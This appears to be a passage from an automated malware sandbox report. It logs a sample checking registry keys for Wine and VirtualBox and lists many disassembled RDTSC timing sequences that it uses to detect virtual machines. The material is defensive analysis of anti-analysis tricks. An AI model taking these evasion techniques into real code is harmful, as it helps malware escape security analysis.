Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF916 second address: EAF91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035704 second address: 1035725 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2E40BD86A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102893D second address: 1028941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10345F8 second address: 1034613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F2E40BD86A3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034613 second address: 1034629 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034629 second address: 103462D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103462D second address: 1034633 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10347A3 second address: 10347BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E40BD86A3h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103495C second address: 1034977 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E405325E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034977 second address: 103497B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034AA2 second address: 1034AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034AAB second address: 1034AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034DE6 second address: 1034DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E405325E3h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034DFF second address: 1034E15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034FCD second address: 1034FDE instructions: 0x00000000 rdtsc 0x00000002 js 00007F2E405325DCh 0x00000008 jns 00007F2E405325D6h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034FDE second address: 1034FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E40BD869Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037F72 second address: 1037F76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037F76 second address: 1037FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F2E40BD86AEh 0x0000000c jmp 00007F2E40BD86A8h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F2E40BD86A4h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037FB2 second address: 1038001 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a call 00007F2E405325E1h 0x0000000f mov dword ptr [ebp+122D236Ah], ebx 0x00000015 pop edx 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D296Bh], edi 0x0000001e push C4E95B69h 0x00000023 jo 00007F2E405325E8h 0x00000029 push eax 0x0000002a push edx 0x0000002b jc 00007F2E405325D6h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038001 second address: 1038082 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 3B16A517h 0x00000011 jmp 00007F2E40BD869Ah 0x00000016 push 00000003h 0x00000018 adc si, 39B5h 0x0000001d push 00000000h 0x0000001f push 00000003h 0x00000021 mov esi, 197020C6h 0x00000026 push 783AA6B5h 0x0000002b pushad 0x0000002c jmp 00007F2E40BD869Fh 0x00000031 jmp 00007F2E40BD86A5h 0x00000036 popad 0x00000037 add dword ptr [esp], 47C5594Bh 0x0000003e pushad 0x0000003f jg 00007F2E40BD8699h 0x00000045 popad 0x00000046 lea ebx, dword ptr [ebp+1245BD4Ch] 0x0000004c mov cx, 4131h 0x00000050 xchg eax, ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 jo 00007F2E40BD869Ch 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038082 second address: 1038087 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038179 second address: 10381B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2E40BD86A9h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 js 00007F2E40BD86A4h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10381B0 second address: 10381B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10381B4 second address: 10381D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ecx 0x00000009 jnc 00007F2E40BD8698h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 js 00007F2E40BD869Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E875 second address: 101E88B instructions: 0x00000000 rdtsc 0x00000002 js 00007F2E405325D6h 0x00000008 jc 00007F2E405325D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E88B second address: 101E891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E891 second address: 101E899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056D03 second address: 1056D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2E40BD8696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056D0D second address: 1056D11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056D11 second address: 1056D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056D1A second address: 1056D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056D1F second address: 1056D37 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2E40BD869Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056FD8 second address: 1056FFD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jns 00007F2E405325D6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2E405325E7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10573FC second address: 1057400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057400 second address: 1057409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057409 second address: 105740F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105740F second address: 1057415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105755C second address: 1057596 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F2E40BD869Ah 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F2E40BD86A2h 0x00000016 jmp 00007F2E40BD86A1h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057596 second address: 10575AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F2E405325DDh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10575AD second address: 10575B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10575B8 second address: 10575CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057B96 second address: 1057B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057CF1 second address: 1057D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A3C1 second address: 102A3CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2E40BD8696h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A3CD second address: 102A3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057E43 second address: 1057E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2E40BD86A8h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10583CE second address: 10583DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2E405325DAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10583DF second address: 10583F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10583F9 second address: 10583FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10583FF second address: 1058407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058407 second address: 105840B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10586CF second address: 10586D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10586D3 second address: 10586DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10586DF second address: 10586E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10586E5 second address: 10586E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105887B second address: 1058881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058881 second address: 1058885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058885 second address: 1058889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058889 second address: 1058891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058B3E second address: 1058B44 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058B44 second address: 1058B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058B4F second address: 1058B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B863 second address: 105B88B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jne 00007F2E405325D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F2E405325E7h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020261 second address: 1020267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FB6E second address: 105FB78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2E405325D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FC2D second address: 105FC32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FC32 second address: 105FC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007F2E405325E2h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F2E405325D8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FC5C second address: 105FC74 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2E40BD869Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FC74 second address: 105FC79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FE3A second address: 105FE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063283 second address: 10632A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2E405325D8h 0x0000000a popad 0x0000000b push edi 0x0000000c pushad 0x0000000d jmp 00007F2E405325E5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10627DA second address: 10627E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F2E40BD8696h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10627E7 second address: 10627F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062ADA second address: 1062AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F2E40BD8696h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062AE7 second address: 1062B08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E1h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F2E405325D6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062E17 second address: 1062E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062E2E second address: 1062E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062E34 second address: 1062E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2E40BD869Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062F97 second address: 1062FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E1h 0x00000009 jbe 00007F2E405325DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062FB4 second address: 1062FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062FB8 second address: 1062FE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b jno 00007F2E405325D6h 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2E405325DDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10650C2 second address: 10650CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10650CF second address: 10650D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10650D3 second address: 10650DD instructions: 0x00000000 rdtsc 0x00000002 je 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10653BF second address: 10653EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jbe 00007F2E405325D6h 0x00000014 jmp 00007F2E405325E1h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10654B9 second address: 10654BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10654BD second address: 10654C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10659E7 second address: 10659FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ebx 0x00000009 and esi, 1E834891h 0x0000000f push eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065BFA second address: 1065C01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065F17 second address: 1065F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065F1B second address: 1065F1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066014 second address: 106602F instructions: 0x00000000 rdtsc 0x00000002 je 00007F2E40BD8698h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jl 00007F2E40BD86A8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F2E40BD8696h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106602F second address: 1066033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066FC6 second address: 1066FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106812A second address: 1068136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067872 second address: 106787C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F2E40BD8696h 0x0000000a rdtsc
